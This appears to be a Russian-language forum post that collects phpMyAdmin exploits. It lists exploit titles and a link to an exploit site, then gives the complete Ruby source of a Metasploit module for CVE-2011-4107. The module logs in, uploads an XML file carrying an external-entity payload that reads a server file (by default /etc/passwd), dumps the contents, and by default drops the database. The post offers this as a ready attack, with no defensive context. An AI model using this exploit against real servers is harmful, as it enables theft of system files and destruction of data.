Сообщений в теме: 2

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phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit

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phpMyAdmin 3.3.5 XSS Vulnerability
http://inj3ct0r.com/exploits/13663

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phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection

# Exploit Title: poc-phpmyadmin-local-file-inclusion-via-xxe-injection
# Date: 12-01-2012
# Author: Marco Batista
# Blog Link: http://www.secforce....-xxe-injection/
# Tested on: Windows and Linux - phpmyadmin versions: 3.3.6, 3.3.10, 3.4.0, 3.4.5, 3.4.7
# CVE : CVE-2011-4107
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
	include Msf::Exploit::Remote::HttpClient
	def initialize
		super(
			'Name'		=> 'phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection',
			'Version'	 => '1.0',
			'Description' => %q{Importing a specially-crafted XML file which contains an XML entity injection permits to retrieve a local file (limited by the privileges of the user running the web server).
			The attacker must be logged in to MySQL via phpMyAdmin.
			Works on Windows and Linux Versions 3.3.X and 3.4.X},
			'References'  =>
				[
					[ 'CVE', '2011-4107' ],
										[ 'OSVDB', '76798' ],
										[ 'BID', '50497' ],
										[ 'URL', 'http://secforce.com/research/']
				],
			'Author'	  => [ 'Marco Batista' ],
			'License'	 => MSF_LICENSE
			)
		register_options(
			[
				Opt::RPORT(80),
				OptString.new('FILE', [ true,  "File to read", '/etc/passwd']),
				OptString.new('USER', [ true,  "Username", 'root']),
				OptString.new('PASS', [ false,  "Password", 'password']),
				OptString.new('DB', [ true,  "Database to use/create", 'hddaccess']),
				OptString.new('TBL', [ true,  "Table to use/create and read the file to", 'files']),
				OptString.new('APP', [ true,  "Location for phpMyAdmin URL", '/phpmyadmin']),
				OptString.new('DROP', [ true,  "Drop database after reading file?", 'true']),
			],self.class)
	end
	def loginprocess
		# HTTP GET TO GET SESSION VALUES
		getresponse = send_request_cgi({
			'uri'	 => datastore['APP']+'/index.php',
			'method'  => 'GET',
			'version' => '1.1',
			}, 25)
		if (getresponse.nil?)
			print_error("no response for #{ip}:#{rport}")
		elsif (getresponse.code == 200)
			print_status("Received #{getresponse.code} from #{rhost}:#{rport}")
		elsif (getresponse and getresponse.code == 302 or getresponse.code == 301)
			print_status("Received 302 to #{getresponse.headers['Location']}")
		else
			print_error("Received #{getresponse.code} from #{rhost}:#{rport}")
		end
		valuesget = getresponse.headers["Set-Cookie"]
		varsget = valuesget.split(" ")
		#GETTING THE VARIABLES NEEDED
		phpMyAdmin = varsget.grep(/phpMyAdmin/).last
		pma_mcrypt_iv = varsget.grep(/pma_mcrypt_iv/).last
		# END HTTP GET
		# LOGIN POST REQUEST TO GET COOKIE VALUE
		postresponse = send_request_cgi({
			'uri'	 => datastore['APP']+'/index.php',
			'method'  => 'POST',
			'version' => '1.1',
			'headers' =>{
					'Content-Type' => 'application/x-www-form-urlencoded',
					'Cookie' => "#{pma_mcrypt_iv} #{phpMyAdmin}"
							},
			'data'	=> 'pma_username='+datastore['USER']+'&pma_password='+datastore['PASS']+'&server=1'
			}, 25)
		if (postresponse["Location"].nil?)
			print_status("TESTING#{postresponse.body.split("'").grep(/token/).first.split("=").last}")
			tokenvalue = postresponse.body.split("'").grep(/token/).first.split("=").last
		else
			tokenvalue = postresponse["Location"].split("&").grep(/token/).last.split("=").last
		end
		valuespost = postresponse.headers["Set-Cookie"]
		varspost = valuespost.split(" ")
		#GETTING THE VARIABLES NEEDED
		pmaUser = varspost.grep(/pmaUser-1/).last
		pmaPass = varspost.grep(/pmaPass-1/).last
		return "#{pma_mcrypt_iv} #{phpMyAdmin} #{pmaUser} #{pmaPass}",tokenvalue
		# END OF LOGIN POST REQUEST
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::Connectionerror =>e
			print_error(e.message)
		rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH =>e
			print_error(e.message)
	end
	def readfile(cookie,tokenvalue)
		#READFILE TROUGH EXPORT FUNCTION IN PHPMYADMIN
		getfiles = send_request_cgi({
			'uri'	 => datastore['APP']+'/export.php',
			'method'  => 'POST',
			'version' => '1.1',
			'headers' =>{
					'Cookie' => cookie
						},
			'data'	=> 'db='+datastore['DB']+'&table='+datastore['TBL']+'&token='+tokenvalue+'&single_table=TRUE&export_type=table&sql_query=SELECT+*+FROM+%60files%60&what=texytext&texytext_structure=something&texytext_data=something&texytext_null=NULL&asfile=sendit&allrows=1&codegen_structure_or_data=data&texytext_structure_or_data=structure_and_data&yaml_structure_or_data=data'
			}, 25)
		if (getfiles.body.split("\n").grep(/== Dumping data for table/).empty?)
			print_error("Error reading the file... not enough privilege? login error?")
		else
			print_status("#{getfiles.body}")
		end
	end
	def dropdatabase(cookie,tokenvalue)
		dropdb = send_request_cgi({
			'uri'	 => datastore['APP']+'/sql.php?sql_query=DROP+DATABASE+%60'+datastore['DB']+'%60&back=db_operations.php&goto=main.php&purge=1&token='+tokenvalue+'&is_js_confirmed=1&ajax_request=false',
			'method'  => 'GET',
			'version' => '1.1',
			'headers' =>{
					'Cookie' => cookie
						},
			}, 25)
			print_status("Dropping database: "+datastore['DB'])
	end
	def run
		cookie,tokenvalue = loginprocess()
		print_status("Login at #{datastore['RHOST']}:#{datastore['RPORT']}#{datastore['APP']} using #{datastore['USER']}:#{datastore['PASS']}")
		craftedXML =  "------WebKitFormBoundary3XPL01T\n"
		craftedXML << "Content-Disposition: form-data; name=\"token\"\n\n"
		craftedXML << tokenvalue+"\n"
		craftedXML << "------WebKitFormBoundary3XPL01T\n"
		craftedXML << "Content-Disposition: form-data; name=\"import_type\"\n\n"
		craftedXML << "server\n"
		craftedXML << "------WebKitFormBoundary3XPL01T\n"
		craftedXML << "Content-Disposition: form-data; name=\"import_file\"; filename=\"exploit.xml\"\n"
		craftedXML << "Content-Type: text/xml\n\n"
		craftedXML << "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"
		craftedXML << "<!DOCTYPE ficheiro [  \n"
		craftedXML << "  <!ENTITY conteudo SYSTEM \"file:///#{datastore['FILE']}\" >]>\n"
		craftedXML << "<pma_xml_export version=\"1.0\" xmlns:pma=\"http://www.phpmyadmi..._doc_url/\">\n"
		craftedXML << "	<pma:structure_schemas>\n"
		craftedXML << "		<pma:database name=\""+datastore['DB']+"\" collation=\"utf8_general_ci\" charset=\"utf8\">\n"
		craftedXML << "			<pma:table name=\""+datastore['TBL']+"\">\n"
		craftedXML << "				CREATE TABLE `"+datastore['TBL']+"` (`file` varchar(20000) NOT NULL);\n"
		craftedXML << "			</pma:table>\n"
		craftedXML << "		</pma:database>\n"
		craftedXML << "	</pma:structure_schemas>\n"
		craftedXML << "	<database name=\""+datastore['DB']+"\">\n"
		craftedXML << "		<table name=\""+datastore['TBL']+"\">\n"
		craftedXML << "			<column name=\"file\">&conteudo;</column>\n"
		craftedXML << "		</table>\n"
		craftedXML << "	</database>\n"
		craftedXML << "</pma_xml_export>\n\n"
		craftedXML << "------WebKitFormBoundary3XPL01T\n"
		craftedXML << "Content-Disposition: form-data; name=\"format\"\n\n"
		craftedXML << "xml\n"
		craftedXML << "------WebKitFormBoundary3XPL01T\n"
		craftedXML << "Content-Disposition: form-data; name=\"csv_terminated\"\n\n"
		craftedXML << ",\n\n"
		craftedXML << "------WebKitFormBoundary3XPL01T--"
		print_status("Grabbing that #{datastore['FILE']} you want...")
		res = send_request_cgi({
			'uri'	 => datastore['APP']+'/import.php',
			'method'  => 'POST',
			'version' => '1.1',
			'headers' =>{
					'Content-Type' => 'multipart/form-data; boundary=----WebKitFormBoundary3XPL01T',
					'Cookie' => cookie
						},
			'data'	=> craftedXML
		}, 25)
		readfile(cookie,tokenvalue)
		if (datastore['DROP'] == "true")
			dropdatabase(cookie,tokenvalue)
		else
			print_status("Database was not dropped: "+datastore['DB'])
		end
	end
end